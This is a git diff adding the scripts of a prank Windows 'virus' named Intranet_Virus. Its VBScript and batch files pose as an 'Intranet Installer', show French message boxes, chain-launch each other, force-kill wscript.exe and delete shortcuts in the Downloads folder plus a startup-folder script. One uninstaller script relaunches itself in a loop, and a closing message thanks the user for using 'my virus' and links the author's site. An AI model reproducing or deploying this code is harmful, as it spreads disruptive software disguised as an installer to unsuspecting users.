result = MsgBox ("Installation... Veuillez Patientez", vbInformation, "Intranet Installer")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Intranet_Virus\installer_one.vbs"
End Select

2
installer_task.bat Executable file
View file

@ -0,0 +1,2 @@
taskkill /f /im wscript.exe
start Intranet_Virus\installer2.vbs

2
task_deleter.bat Executable file
View file

@ -0,0 +1,2 @@
taskkill /f /im wscript.exe
start Intranet_Virus\uninstall2.vbs

7
uninstall.bat Executable file
View file

@ -0,0 +1,7 @@
del /s /q "%userprofile%\Downloads\Google Chrome.lnk"
del /s /q "%userprofile%\Downloads\Mozilla Firefox.lnk"
del /s /q "%userprofile%\Downloads\Internet Explorer.lnk"
del /s /q "%userprofile%\Downloads\Word 2016.lnk"
del /s /q "%userprofile%\Downloads\Explorateur de fichiers.lnk"
del /s /q "%userprofile%\Downloads\Intranet"
del /s /q "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\taskiller.vbs"

7
uninstall.vbs Executable file
View file

@ -0,0 +1,7 @@
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Intranet_Virus\uninstaller_one.vbs"
CreateObject("Wscript.Shell").Run "Intranet_Virus\uninstall.bat",0,True
WScript.Sleep 4500
Set WshShell = WScript.CreateObject("WScript.Shell")
CreateObject("Wscript.Shell").Run "Intranet_Virus\task_deleter.bat",0,True

3
uninstall2.vbs Executable file
View file

@ -0,0 +1,3 @@
WScript.Sleep 500
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Intranet_Virus\uninstaller_msg.vbs"

1
uninstaller_msg.vbs Executable file
View file

@ -0,0 +1 @@
result = MsgBox ("Merci d'avoir utilisé mon virus :), n'hésitez pas à visiter mon site web : http://cubeadventures.16mb.com/fr/", vbInformation, "Intranet Uninstaller")

8
uninstaller_one.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("Désinstallation, Veuillez Patientez...", vbInformation, "Intranet Uninstaller")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Intranet_Virus\uninstaller_one.vbs"
End Select